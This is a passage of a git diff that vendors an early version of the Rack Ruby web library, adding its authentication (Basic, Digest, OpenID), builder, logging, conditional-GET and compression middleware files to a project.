"rack/commonlogger" + autoload :ConditionalGet, "rack/conditionalget" + autoload :ContentLength, "rack/content_length" + autoload :File, "rack/file" + autoload :Deflater, "rack/deflater" + autoload :Directory, "rack/directory" + autoload :ForwardRequest, "rack/recursive" + autoload :Handler, "rack/handler" + autoload :Head, "rack/head" + autoload :Lint, "rack/lint" + autoload :MethodOverride, "rack/methodoverride" + autoload :Mime, "rack/mime" + autoload :Recursive, "rack/recursive" + autoload :Reloader, "rack/reloader" + autoload :ShowExceptions, "rack/showexceptions" + autoload :ShowStatus, "rack/showstatus" + autoload :Static, "rack/static" + autoload :URLMap, "rack/urlmap" + autoload :Utils, "rack/utils" + + autoload :MockRequest, "rack/mock" + autoload :MockResponse, "rack/mock" + + autoload :Request, "rack/request" + autoload :Response, "rack/response" + + module Auth + autoload :Basic, "rack/auth/basic" + autoload :AbstractRequest, "rack/auth/abstract/request" + autoload :AbstractHandler, "rack/auth/abstract/handler" + autoload :OpenID, "rack/auth/openid" + module Digest + autoload :MD5, "rack/auth/digest/md5" + autoload :Nonce, "rack/auth/digest/nonce" + autoload :Params, "rack/auth/digest/params" + autoload :Request, "rack/auth/digest/request" + end + end + + module Session + autoload :Cookie, "rack/session/cookie" + autoload :Pool, "rack/session/pool" + autoload :Memcache, "rack/session/memcache" + end + + # *Adapters* connect Rack with third party web frameworks. + # + # Rack includes an adapter for Camping, see README for other + # frameworks supporting Rack in their code bases. + # + # Refer to the submodules for framework-specific calling details. + + module Adapter + autoload :Camping, "rack/adapter/camping" + end +end diff --git a/vendor/plugins/rack/lib/rack/adapter/camping.rb b/vendor/plugins/rack/lib/rack/adapter/camping.rb new file mode 100644 index 00000000..63bc787f --- /dev/null +++ b/vendor/plugins/rack/lib/rack/adapter/camping.rb @@ -0,0 +1,22 @@ +module Rack + module Adapter + class Camping + def initialize(app) + @app = app + end + + def call(env) + env["PATH_INFO"] ||= "" + env["SCRIPT_NAME"] ||= "" + controller = @app.run(env['rack.input'], env) + h = controller.headers + h.each_pair do |k,v| + if v.kind_of? URI + h[k] = v.to_s + end + end + [controller.status, controller.headers, [controller.body.to_s]] + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/abstract/handler.rb b/vendor/plugins/rack/lib/rack/auth/abstract/handler.rb new file mode 100644 index 00000000..b213eac6 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/abstract/handler.rb @@ -0,0 +1,28 @@ +module Rack + module Auth + # Rack::Auth::AbstractHandler implements common authentication functionality. + # + # +realm+ should be set for all handlers. + + class AbstractHandler + + attr_accessor :realm + + def initialize(app, &authenticator) + @app, @authenticator = app, authenticator + end + + + private + + def unauthorized(www_authenticate = challenge) + return [ 401, { 'WWW-Authenticate' => www_authenticate.to_s }, [] ] + end + + def bad_request + [ 400, {}, [] ] + end + + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/abstract/request.rb b/vendor/plugins/rack/lib/rack/auth/abstract/request.rb new file mode 100644 index 00000000..1d9ccec6 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/abstract/request.rb @@ -0,0 +1,37 @@ +module Rack + module Auth + class AbstractRequest + + def initialize(env) + @env = env + end + + def provided? + !authorization_key.nil? + end + + def parts + @parts ||= @env[authorization_key].split(' ', 2) + end + + def scheme + @scheme ||= parts.first.downcase.to_sym + end + + def params + @params ||= parts.last + end + + + private + + AUTHORIZATION_KEYS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION'] + + def authorization_key + @authorization_key ||= AUTHORIZATION_KEYS.detect { |key| @env.has_key?(key) } + end + + end + + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/basic.rb b/vendor/plugins/rack/lib/rack/auth/basic.rb new file mode 100644 index 00000000..95572246 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/basic.rb @@ -0,0 +1,58 @@ +require 'rack/auth/abstract/handler' +require 'rack/auth/abstract/request' + +module Rack + module Auth + # Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617. + # + # Initialize with the Rack application that you want protecting, + # and a block that checks if a username and password pair are valid. + # + # See also: example/protectedlobster.rb + + class Basic < AbstractHandler + + def call(env) + auth = Basic::Request.new(env) + + return unauthorized unless auth.provided? + + return bad_request unless auth.basic? + + if valid?(auth) + env['REMOTE_USER'] = auth.username + + return @app.call(env) + end + + unauthorized + end + + + private + + def challenge + 'Basic realm="%s"' % realm + end + + def valid?(auth) + @authenticator.call(*auth.credentials) + end + + class Request < Auth::AbstractRequest + def basic? + :basic == scheme + end + + def credentials + @credentials ||= params.unpack("m*").first.split(/:/, 2) + end + + def username + credentials.first + end + end + + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/digest/md5.rb b/vendor/plugins/rack/lib/rack/auth/digest/md5.rb new file mode 100644 index 00000000..6d2bd29c --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/digest/md5.rb @@ -0,0 +1,124 @@ +require 'rack/auth/abstract/handler' +require 'rack/auth/digest/request' +require 'rack/auth/digest/params' +require 'rack/auth/digest/nonce' +require 'digest/md5' + +module Rack + module Auth + module Digest + # Rack::Auth::Digest::MD5 implements the MD5 algorithm version of + # HTTP Digest Authentication, as per RFC 2617. + # + # Initialize with the [Rack] application that you want protecting, + # and a block that looks up a plaintext password for a given username. + # + # +opaque+ needs to be set to a constant base64/hexadecimal string. + # + class MD5 < AbstractHandler + + attr_accessor :opaque + + attr_writer :passwords_hashed + + def initialize(app) + super + @passwords_hashed = nil + end + + def passwords_hashed? + !!@passwords_hashed + end + + def call(env) + auth = Request.new(env) + + unless auth.provided? + return unauthorized + end + + if !auth.digest? || !auth.correct_uri? || !valid_qop?(auth) + return bad_request + end + + if valid?(auth) + if auth.nonce.stale? + return unauthorized(challenge(:stale => true)) + else + env['REMOTE_USER'] = auth.username + + return @app.call(env) + end + end + + unauthorized + end + + + private + + QOP = 'auth'.freeze + + def params(hash = {}) + Params.new do |params| + params['realm'] = realm + params['nonce'] = Nonce.new.to_s + params['opaque'] = H(opaque) + params['qop'] = QOP + + hash.each { |k, v| params[k] = v } + end + end + + def challenge(hash = {}) + "Digest #{params(hash)}" + end + + def valid?(auth) + valid_opaque?(auth) && valid_nonce?(auth) && valid_digest?(auth) + end + + def valid_qop?(auth) + QOP == auth.qop + end + + def valid_opaque?(auth) + H(opaque) == auth.opaque + end + + def valid_nonce?(auth) + auth.nonce.valid? + end + + def valid_digest?(auth) + digest(auth, @authenticator.call(auth.username)) == auth.response + end + + def md5(data) + ::Digest::MD5.hexdigest(data) + end + + alias :H :md5 + + def KD(secret, data) + H([secret, data] * ':') + end + + def A1(auth, password) + [ auth.username, auth.realm, password ] * ':' + end + + def A2(auth) + [ auth.method, auth.uri ] * ':' + end + + def digest(auth, password) + password_hash = passwords_hashed? ? password : H(A1(auth, password)) + + KD(password_hash, [ auth.nonce, auth.nc, auth.cnonce, QOP, H(A2(auth)) ] * ':') + end + + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/digest/nonce.rb b/vendor/plugins/rack/lib/rack/auth/digest/nonce.rb new file mode 100644 index 00000000..dbe109f2 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/digest/nonce.rb @@ -0,0 +1,51 @@ +require 'digest/md5' + +module Rack + module Auth + module Digest + # Rack::Auth::Digest::Nonce is the default nonce generator for the + # Rack::Auth::Digest::MD5 authentication handler. + # + # +private_key+ needs to set to a constant string. + # + # +time_limit+ can be optionally set to an integer (number of seconds), + # to limit the validity of the generated nonces. + + class Nonce + + class << self + attr_accessor :private_key, :time_limit + end + + def self.parse(string) + new(*string.unpack("m*").first.split(' ', 2)) + end + + def initialize(timestamp = Time.now, given_digest = nil) + @timestamp, @given_digest = timestamp.to_i, given_digest + end + + def to_s + [([ @timestamp, digest ] * ' ')].pack("m*").strip + end + + def digest + ::Digest::MD5.hexdigest([ @timestamp, self.class.private_key ] * ':') + end + + def valid? + digest == @given_digest + end + + def stale? + !self.class.time_limit.nil? && (@timestamp - Time.now.to_i) < self.class.time_limit + end + + def fresh? + !stale? + end + + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/digest/params.rb b/vendor/plugins/rack/lib/rack/auth/digest/params.rb new file mode 100644 index 00000000..730e2efd --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/digest/params.rb @@ -0,0 +1,55 @@ +module Rack + module Auth + module Digest + class Params < Hash + + def self.parse(str) + split_header_value(str).inject(new) do |header, param| + k, v = param.split('=', 2) + header[k] = dequote(v) + header + end + end + + def self.dequote(str) # From WEBrick::HTTPUtils + ret = (/\A"(.*)"\Z/ =~ str) ? $1 : str.dup + ret.gsub!(/\\(.)/, "\\1") + ret + end + + def self.split_header_value(str) + str.scan( /(\w+\=(?:"[^\"]+"|[^,]+))/n ).collect{ |v| v[0] } + end + + def initialize + super + + yield self if block_given? + end + + def [](k) + super k.to_s + end + + def []=(k, v) + super k.to_s, v.to_s + end + + UNQUOTED = ['qop', 'nc', 'stale'] + + def to_s + inject([]) do |parts, (k, v)| + parts << "#{k}=" + (UNQUOTED.include?(k) ? v.to_s : quote(v)) + parts + end.join(', ') + end + + def quote(str) # From WEBrick::HTTPUtils + '"' << str.gsub(/[\\\"]/o, "\\\1") << '"' + end + + end + end + end +end + diff --git a/vendor/plugins/rack/lib/rack/auth/digest/request.rb b/vendor/plugins/rack/lib/rack/auth/digest/request.rb new file mode 100644 index 00000000..a0227543 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/digest/request.rb @@ -0,0 +1,40 @@ +require 'rack/auth/abstract/request' +require 'rack/auth/digest/params' +require 'rack/auth/digest/nonce' + +module Rack + module Auth + module Digest + class Request < Auth::AbstractRequest + + def method + @env['REQUEST_METHOD'] + end + + def digest? + :digest == scheme + end + + def correct_uri? + @env['PATH_INFO'] == uri + end + + def nonce + @nonce ||= Nonce.parse(params['nonce']) + end + + def params + @params ||= Params.parse(parts.last) + end + + def method_missing(sym) + if params.has_key? key = sym.to_s + return params[key] + end + super + end + + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/auth/openid.rb b/vendor/plugins/rack/lib/rack/auth/openid.rb new file mode 100644 index 00000000..14eeddd3 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/auth/openid.rb @@ -0,0 +1,438 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net + +gem 'ruby-openid', '~> 2' if defined? Gem +require 'rack/auth/abstract/handler' #rack +require 'uri' #std +require 'pp' #std +require 'openid' #gem +require 'openid/extension' #gem +require 'openid/store/memory' #gem + +module Rack + module Auth + # Rack::Auth::OpenID provides a simple method for permitting + # openid based logins. It requires the ruby-openid library from + # janrain to operate, as well as a rack method of session management. + # + # The ruby-openid home page is at http://openidenabled.com/ruby-openid/. + # + # The OpenID specifications can be found at + # http://openid.net/specs/openid-authentication-1_1.html + # and + # http://openid.net/specs/openid-authentication-2_0.html. Documentation + # for published OpenID extensions and related topics can be found at + # http://openid.net/developers/specs/. + # + # It is recommended to read through the OpenID spec, as well as + # ruby-openid's documentation, to understand what exactly goes on. However + # a setup as simple as the presented examples is enough to provide + # functionality. + # + # This library strongly intends to utilize the OpenID 2.0 features of the + # ruby-openid library, while maintaining OpenID 1.0 compatiblity. + # + # All responses from this rack application will be 303 redirects unless an + # error occurs, with the exception of an authentication request requiring + # an HTML form submission. + # + # NOTE: Extensions are not currently supported by this implimentation of + # the OpenID rack application due to the complexity of the current + # ruby-openid extension handling. + # + # NOTE: Due to the amount of data that this library stores in the + # session, Rack::Session::Cookie may fault. + class OpenID < AbstractHandler + class NoSession < RuntimeError; end + # Required for ruby-openid + OIDStore = ::OpenID::Store::Memory.new + HTML = '%s%s' + + # A Hash of options is taken as it's single initializing + # argument. For example: + # + # simple_oid = OpenID.new('http://mysite.com/') + # + # return_oid = OpenID.new('http://mysite.com/', { + # :return_to => 'http://mysite.com/openid' + # }) + # + # page_oid = OpenID.new('http://mysite.com/', + # :login_good => 'http://mysite.com/auth_good' + # ) + # + # complex_oid = OpenID.new('http://mysite.com/', + # :return_to => 'http://mysite.com/openid', + # :login_good => 'http://mysite.com/user/preferences', + # :auth_fail => [500, {'Content-Type'=>'text/plain'}, + # 'Unable to negotiate with foreign server.'], + # :immediate => true, + # :extensions => { + # ::OpenID::SReg => [['email'],['nickname']] + # } + # ) + # + # = Arguments + # + # The first argument is the realm, identifying the site they are trusting + # with their identity. This is required. + # + # NOTE: In OpenID 1.x, the realm or trust_root is optional and the + # return_to url is required. As this library strives tward ruby-openid + # 2.0, and OpenID 2.0 compatibiliy, the realm is required and return_to + # is optional. However, this implimentation is still backwards compatible + # with OpenID 1.0 servers. + # + # The optional second argument is a hash of options. + # + # == Options + # + # :return_to defines the url to return to after the client + # authenticates with the openid service provider. This url should point + # to where Rack::Auth::OpenID is mounted. If :return_to is not + # provided, :return_to will be the current url including all query + # parameters. + # + # :session_key defines the key to the session hash in the env. + # It defaults to 'rack.session'. + # + # :openid_param defines at what key in the request parameters to + # find the identifier to resolve. As per the 2.0 spec, the default is + # 'openid_identifier'. + # + # :immediate as true will make immediate type of requests the + # default. See OpenID specification documentation. + # + # === URL options + # + # :login_good is the url to go to after the authentication + # process has completed. + # + # :login_fail is the url to go to after the authentication + # process has failed. + # + # :login_quit is the url to go to after the authentication + # process + # has been cancelled. + # + # === Response options + # + # :no_session should be a rack response to be returned if no or + # an incompatible session is found. + # + # :auth_fail should be a rack response to be returned if an + # OpenID::DiscoveryFailure occurs. This is typically due to being unable + # to access the identity url or identity server. + # + # :error should be a rack response to return if any other + # generic error would occur and options[:catch_errors] is true. + # + # === Extensions + # + # :extensions should be a hash of openid extension + # implementations. The key should be the extension main module, the value + # should be an array of arguments for extension::Request.new + # + # The hash is iterated over and passed to #add_extension for processing. + # Please see #add_extension for further documentation. + def initialize(realm, options={}) + @realm = realm + realm = URI(realm) + if realm.path.empty? + raise ArgumentError, "Invalid realm path: '#{realm.path}'" + elsif not realm.absolute? + raise ArgumentError, "Realm '#{@realm}' not absolute" + end + + [:return_to, :login_good, :login_fail, :login_quit].each do |key| + if options.key? key and luri = URI(options[key]) + if !luri.absolute? + raise ArgumentError, ":#{key} is not an absolute uri: '#{luri}'" + end + end + end + + if options[:return_to] and ruri = URI(options[:return_to]) + if ruri.path.empty? + raise ArgumentError, "Invalid return_to path: '#{ruri.path}'" + elsif realm.path != ruri.path[0, realm.path.size] + raise ArgumentError, 'return_to not within realm.' \ + end + end + + # TODO: extension support + if extensions = options.delete(:extensions) + extensions.each do |ext, args| + add_extension ext, *args + end + end + + @options = { + :session_key => 'rack.session', + :openid_param => 'openid_identifier', + #:return_to, :login_good, :login_fail, :login_quit + #:no_session, :auth_fail, :error + :store => OIDStore, + :immediate => false, + :anonymous => false, + :catch_errors => false + }.merge(options) + @extensions = {} + end + + attr_reader :options, :extensions + + # It sets up and uses session data at :openid within the + # session. It sets up the ::OpenID::Consumer using the store specified by + # options[:store]. + # + # If the parameter specified by options[:openid_param] is + # present, processing is passed to #check and the result is returned. + # + # If the parameter 'openid.mode' is set, implying a followup from the + # openid server, processing is passed to #finish and the result is + # returned. + # + # If neither of these conditions are met, a 400 error is returned. + # + # If an error is thrown and options[:catch_errors] is false, the + # exception will be reraised. Otherwise a 500 error is returned. + def call(env) + env['rack.auth.openid'] = self + session = env[@options[:session_key]] + unless session and session.is_a? Hash + raise(NoSession, 'No compatible session') + end + # let us work in our own namespace... + session = (session[:openid] ||= {}) + unless session and session.is_a? Hash + raise(NoSession, 'Incompatible session') + end + + request = Rack::Request.new env + consumer = ::OpenID::Consumer.new session, @options[:store] + + if request.params['openid.mode'] + finish consumer, session, request + elsif request.params[@options[:openid_param]] + check consumer, session, request + else + env['rack.errors'].puts "No valid params provided." + bad_request + end + rescue NoSession + env['rack.errors'].puts($!.message, *$@) + + @options. ### Missing or incompatible session + fetch :no_session, [ 500, + {'Content-Type'=>'text/plain'}, + $!.message ] + rescue + env['rack.errors'].puts($!.message, *$@) + + if not @options[:catch_error] + raise($!) + end + @options. + fetch :error, [ 500, + {'Content-Type'=>'text/plain'}, + 'OpenID has encountered an error.' ] + end + + # As the first part of OpenID consumer action, #check retrieves the data + # required for completion. + # + # * session[:openid][:openid_param] is set to the submitted + # identifier to be authenticated. + # * session[:openid][:site_return] is set as the request's + # HTTP_REFERER, unless already set. + # * env['rack.auth.openid.request'] is the openid checkid + # request instance. + def check(consumer, session, req) + session[:openid_param] = req.params[@options[:openid_param]] + oid = consumer.begin(session[:openid_param], @options[:anonymous]) + pp oid if $DEBUG + req.env['rack.auth.openid.request'] = oid + + session[:site_return] ||= req.env['HTTP_REFERER'] + + # SETUP_NEEDED check! + # see OpenID::Consumer::CheckIDRequest docs + query_args = [@realm, *@options.values_at(:return_to, :immediate)] + query_args[1] ||= req.url + query_args[2] = false if session.key? :setup_needed + pp query_args if $DEBUG + + ## Extension support + extensions.each do |ext,args| + oid.add_extension ext::Request.new(*args) + end + + if oid.send_redirect?(*query_args) + redirect = oid.redirect_url(*query_args) + if $DEBUG + pp redirect + pp Rack::Utils.parse_query(URI(redirect).query) + end + [ 303, {'Location'=>redirect}, [] ] + else + # check on 'action' option. + formbody = oid.form_markup(*query_args) + if $DEBUG + pp formbody + end + body = HTML % ['Confirm...', formbody] + [ 200, {'Content-Type'=>'text/html'}, body.to_a ] + end + rescue ::OpenID::DiscoveryFailure => e + # thrown from inside OpenID::Consumer#begin by yadis stuff + req.env['rack.errors'].puts($!.message, *$@) + + @options. ### Foreign server failed + fetch :auth_fail, [ 503, + {'Content-Type'=>'text/plain'}, + 'Foreign server failure.' ] + end + + # This is the final portion of authentication. Unless any errors outside + # of specification occur, a 303 redirect will be returned with Location + # determined by the OpenID response type. If none of the response type + # :login_* urls are set, the redirect will be set to + # session[:openid][:site_return]. If + # session[:openid][:site_return] is unset, the realm will be + # used. + # + # Any messages from OpenID's response are appended to the 303 response + # body. + # + # Data gathered from extensions are stored in session[:openid] with the + # extension's namespace uri as the key. + # + # * env['rack.auth.openid.response'] is the openid response. + # + # The four valid possible outcomes are: + # * failure: options[:login_fail] or + # session[:site_return] or the realm + # * session[:openid] is cleared and any messages are send to + # rack.errors + # * session[:openid]['authenticated'] is false + # * success: options[:login_good] or + # session[:site_return] or the realm + # * session[:openid] is cleared + # * session[:openid]['authenticated'] is true + # * session[:openid]['identity'] is the actual identifier + # * session[:openid]['identifier'] is the pretty identifier + # * cancel: options[:login_good] or + # session[:site_return] or the realm + # * session[:openid] is cleared + # * session[:openid]['authenticated'] is false + # * setup_needed: resubmits the authentication request. A flag is set for + # non-immediate handling. + # * session[:openid][:setup_needed] is set to true, + # which will prevent immediate style openid authentication. + def finish(consumer, session, req) + oid = consumer.complete(req.params, req.url) + pp oid if $DEBUG + req.env['rack.auth.openid.response'] = oid + + goto = session.fetch :site_return, @realm + body = [] + + case oid.status + when ::OpenID::Consumer::FAILURE + session.clear + session['authenticated'] = false + req.env['rack.errors'].puts oid.message + + goto = @options[:login_fail] if @options.key? :login_fail + body << "Authentication unsuccessful.\n" + when ::OpenID::Consumer::SUCCESS + session.clear + + ## Extension support + extensions.each do |ext, args| + session[ext::NS_URI] = ext::Response. + from_success_response(oid). + get_extension_args + end + + session['authenticated'] = true + # Value for unique identification and such + session['identity'] = oid.identity_url + # Value for display and UI labels + session['identifier'] = oid.display_identifier + + goto = @options[:login_good] if @options.key? :login_good + body << "Authentication successful.\n" + when ::OpenID::Consumer::CANCEL + session.clear + session['authenticated'] = false + + goto = @options[:login_fail] if @options.key? :login_fail + body << "Authentication cancelled.\n" + when ::OpenID::Consumer::SETUP_NEEDED + session[:setup_needed] = true + unless o_id = session[:openid_param] + raise('Required values missing.') + end + + goto = req.script_name+ + '?'+@options[:openid_param]+ + '='+o_id + body << "Reauthentication required.\n" + end + body << oid.message if oid.message + [ 303, {'Location'=>goto}, body] + end + + # The first argument should be the main extension module. + # The extension module should contain the constants: + # * class Request, with OpenID::Extension as an ancestor + # * class Response, with OpenID::Extension as an ancestor + # * string NS_URI, which defines the namespace of the extension, should + # be an absolute http uri + # + # All trailing arguments will be passed to extension::Request.new in + # #check. + # The openid response will be passed to + # extension::Response#from_success_response, #get_extension_args will be + # called on the result to attain the gathered data. + # + # This method returns the key at which the response data will be found in + # the session, which is the namespace uri by default. + def add_extension ext, *args + if not ext.is_a? Module + raise TypeError, "#{ext.inspect} is not a module" + elsif !(m = %w'Request Response NS_URI' - + ext.constants.map{ |c| c.to_s }).empty? + raise ArgumentError, "#{ext.inspect} missing #{m*', '}" + end + + consts = [ext::Request, ext::Response] + + if not consts.all?{|c| c.is_a? Class } + raise TypeError, "#{ext.inspect}'s Request or Response is not a class" + elsif not consts.all?{|c| ::OpenID::Extension > c } + raise ArgumentError, "#{ext.inspect}'s Request or Response not a decendant of OpenID::Extension" + end + + if not ext::NS_URI.is_a? String + raise TypeError, "#{ext.inspect}'s NS_URI is not a string" + elsif not uri = URI(ext::NS_URI) + raise ArgumentError, "#{ext.inspect}'s NS_URI is not a valid uri" + elsif not uri.scheme =~ /^https?$/ + raise ArgumentError, "#{ext.inspect}'s NS_URI is not an http uri" + elsif not uri.absolute? + raise ArgumentError, "#{ext.inspect}'s NS_URI is not and absolute uri" + end + @extensions[ext] = args + return ext::NS_URI + end + + # A conveniance method that returns the namespace of all current + # extensions used by this instance. + def extension_namespaces + @extensions.keys.map{|e|e::NS_URI} + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/builder.rb b/vendor/plugins/rack/lib/rack/builder.rb new file mode 100644 index 00000000..25994d5a --- /dev/null +++ b/vendor/plugins/rack/lib/rack/builder.rb @@ -0,0 +1,67 @@ +module Rack + # Rack::Builder implements a small DSL to iteratively construct Rack + # applications. + # + # Example: + # + # app = Rack::Builder.new { + # use Rack::CommonLogger + # use Rack::ShowExceptions + # map "/lobster" do + # use Rack::Lint + # run Rack::Lobster.new + # end + # } + # + # Or + # + # app = Rack::Builder.app do + # use Rack::CommonLogger + # lambda { |env| [200, {'Content-Type' => 'text/plain'}, 'OK'] } + # end + # + # +use+ adds a middleware to the stack, +run+ dispatches to an application. + # You can use +map+ to construct a Rack::URLMap in a convenient way. + + class Builder + def initialize(&block) + @ins = [] + instance_eval(&block) if block_given? + end + + def self.app(&block) + self.new(&block).to_app + end + + def use(middleware, *args, &block) + @ins << if block_given? + lambda { |app| middleware.new(app, *args, &block) } + else + lambda { |app| middleware.new(app, *args) } + end + end + + def run(app) + @ins << app #lambda { |nothing| app } + end + + def map(path, &block) + if @ins.last.kind_of? Hash + @ins.last[path] = self.class.new(&block).to_app + else + @ins << {} + map(path, &block) + end + end + + def to_app + @ins[-1] = Rack::URLMap.new(@ins.last) if Hash === @ins.last + inner_app = @ins.last + @ins[0...-1].reverse.inject(inner_app) { |a, e| e.call(a) } + end + + def call(env) + to_app.call(env) + end + end +end diff --git a/vendor/plugins/rack/lib/rack/cascade.rb b/vendor/plugins/rack/lib/rack/cascade.rb new file mode 100644 index 00000000..a038aa11 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/cascade.rb @@ -0,0 +1,36 @@ +module Rack + # Rack::Cascade tries an request on several apps, and returns the + # first response that is not 404 (or in a list of configurable + # status codes). + + class Cascade + attr_reader :apps + + def initialize(apps, catch=404) + @apps = apps + @catch = [*catch] + end + + def call(env) + status = headers = body = nil + raise ArgumentError, "empty cascade" if @apps.empty? + @apps.each { |app| + begin + status, headers, body = app.call(env) + break unless @catch.include?(status.to_i) + end + } + [status, headers, body] + end + + def add app + @apps << app + end + + def include? app + @apps.include? app + end + + alias_method :<<, :add + end +end diff --git a/vendor/plugins/rack/lib/rack/commonlogger.rb b/vendor/plugins/rack/lib/rack/commonlogger.rb new file mode 100644 index 00000000..5e68ac62 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/commonlogger.rb @@ -0,0 +1,61 @@ +module Rack + # Rack::CommonLogger forwards every request to an +app+ given, and + # logs a line in the Apache common log format to the +logger+, or + # rack.errors by default. + + class CommonLogger + def initialize(app, logger=nil) + @app = app + @logger = logger + end + + def call(env) + dup._call(env) + end + + def _call(env) + @env = env + @logger ||= self + @time = Time.now + @status, @header, @body = @app.call(env) + [@status, @header, self] + end + + def close + @body.close if @body.respond_to? :close + end + + # By default, log to rack.errors. + def <<(str) + @env["rack.errors"].write(str) + @env["rack.errors"].flush + end + + def each + length = 0 + @body.each { |part| + length += part.size + yield part + } + + @now = Time.now + + # Common Log Format: http://httpd.apache.org/docs/1.3/logs.html#common + # lilith.local - - [07/Aug/2006 23:58:02] "GET / HTTP/1.1" 500 - + # %{%s - %s [%s] "%s %s%s %s" %d %s\n} % + @logger << %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n} % + [ + @env['HTTP_X_FORWARDED_FOR'] || @env["REMOTE_ADDR"] || "-", + @env["REMOTE_USER"] || "-", + @now.strftime("%d/%b/%Y %H:%M:%S"), + @env["REQUEST_METHOD"], + @env["PATH_INFO"], + @env["QUERY_STRING"].empty? ? "" : "?"+@env["QUERY_STRING"], + @env["HTTP_VERSION"], + @status.to_s[0..3], + (length.zero? ? "-" : length.to_s), + @now - @time + ] + end + end +end diff --git a/vendor/plugins/rack/lib/rack/conditionalget.rb b/vendor/plugins/rack/lib/rack/conditionalget.rb new file mode 100644 index 00000000..e7eb5860 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/conditionalget.rb @@ -0,0 +1,43 @@ +module Rack + + # Middleware that enables conditional GET using If-None-Match and + # If-Modified-Since. The application should set either or both of the + # Last-Modified or Etag response headers according to RFC 2616. When + # either of the conditions is met, the response body is set to be zero + # length and the response status is set to 304 Not Modified. + # + # Applications that defer response body generation until the body's each + # message is received will avoid response body generation completely when + # a conditional GET matches. + # + # Adapted from Michael Klishin's Merb implementation: + # http://github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb + class ConditionalGet + def initialize(app) + @app = app + end + + def call(env) + return @app.call(env) unless %w[GET HEAD].include?(env['REQUEST_METHOD']) + + status, headers, body = @app.call(env) + headers = Utils::HeaderHash.new(headers) + if etag_matches?(env, headers) || modified_since?(env, headers) + status = 304 + body = [] + end + [status, headers, body] + end + + private + def etag_matches?(env, headers) + etag = headers['Etag'] and etag == env['HTTP_IF_NONE_MATCH'] + end + + def modified_since?(env, headers) + last_modified = headers['Last-Modified'] and + last_modified == env['HTTP_IF_MODIFIED_SINCE'] + end + end + +end diff --git a/vendor/plugins/rack/lib/rack/content_length.rb b/vendor/plugins/rack/lib/rack/content_length.rb new file mode 100644 index 00000000..515a654a --- /dev/null +++ b/vendor/plugins/rack/lib/rack/content_length.rb @@ -0,0 +1,25 @@ +module Rack + # Sets the Content-Length header on responses with fixed-length bodies. + class ContentLength + def initialize(app) + @app = app + end + + def call(env) + status, headers, body = @app.call(env) + headers = Utils::HeaderHash.new(headers) + + if !Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) && + !headers['Content-Length'] && + !headers['Transfer-Encoding'] && + (body.respond_to?(:to_ary) || body.respond_to?(:to_str)) + + body = [body] if body.respond_to?(:to_str) # rack 0.4 compat + length = body.to_ary.inject(0) { |len, part| len + part.length } + headers['Content-Length'] = length.to_s + end + + [status, headers, body] + end + end +end diff --git a/vendor/plugins/rack/lib/rack/deflater.rb b/vendor/plugins/rack/lib/rack/deflater.rb new file mode 100644 index 00000000..7dcc601c --- /dev/null +++ b/vendor/plugins/rack/lib/rack/deflater.rb @@ -0,0 +1,87 @@ +require "zlib" +require "stringio" +require "time" # for Time.httpdate + +module Rack + +class Deflater + def initialize(app) + @app = app + end + + def call(env) + status, headers, body = @app.call(env) + headers = Utils::HeaderHash.new(headers) + + # Skip compressing empty entity body responses and responses with + # no-transform set. + if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) || + headers['Cache-Control'].to_s =~ /\bno-transform\b/ + return [status, headers, body] + end + + request = Request.new(env) + + encoding = Utils.select_best_encoding(%w(gzip deflate identity), + request.accept_encoding) + + # Set the Vary HTTP header. + vary = headers["Vary"].to_s.split(",").map { |v| v.strip } + unless vary.include?("*") || vary.include?("Accept-Encoding") + headers["Vary"] = vary.push("Accept-Encoding").join(",") + end + + case encoding + when "gzip" + mtime = if headers.key?("Last-Modified") + Time.httpdate(headers["Last-Modified"]) + else + Time.now + end + [status, + headers.merge("Content-Encoding" => "gzip"), + self.class.gzip(body, mtime)] + when "deflate" + [status, + headers.merge("Content-Encoding" => "deflate"), + self.class.deflate(body)] + when "identity" + [status, headers, body] + when nil + message = ["An acceptable encoding for the requested resource #{request.fullpath} could not be found."] + [406, {"Content-Type" => "text/plain"}, message] + end + end + + def self.gzip(body, mtime) + io = StringIO.new + gzip = Zlib::GzipWriter.new(io) + gzip.mtime = mtime + + # TODO: Add streaming + body.each { |part| gzip << part } + + gzip.close + return io.string + end + + DEFLATE_ARGS = [ + Zlib::DEFAULT_COMPRESSION, + # drop the zlib header which causes both Safari and IE to choke + -Zlib::MAX_WBITS, + Zlib::DEF_MEM_LEVEL, + Zlib::DEFAULT_STRATEGY + ] + + # Loosely based on Mongrel's Deflate handler + def self.deflate(body) + deflater = Zlib::Deflate.new(*DEFLATE_ARGS) + + # TODO: Add streaming + body.each { |part| deflater << part } + + return deflater.finish + end +end + +end diff --git a/vendor/plugins/rack/lib/rack/directory.rb b/vendor/plugins/rack/lib/rack/directory.rb new file mode 100644 index 00000000..570edd48 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/directory.rb @@ -0,0 +1,150 @@ +require 'time' +require 'rack/mime' + +module Rack + # Rack::Directory serves entries below the +root+ given, according to the + # path info of the Rack request. If a directory is found, the file's contents + # will be presented in an html based index. If a file is found, the env will + # be passed to the specified 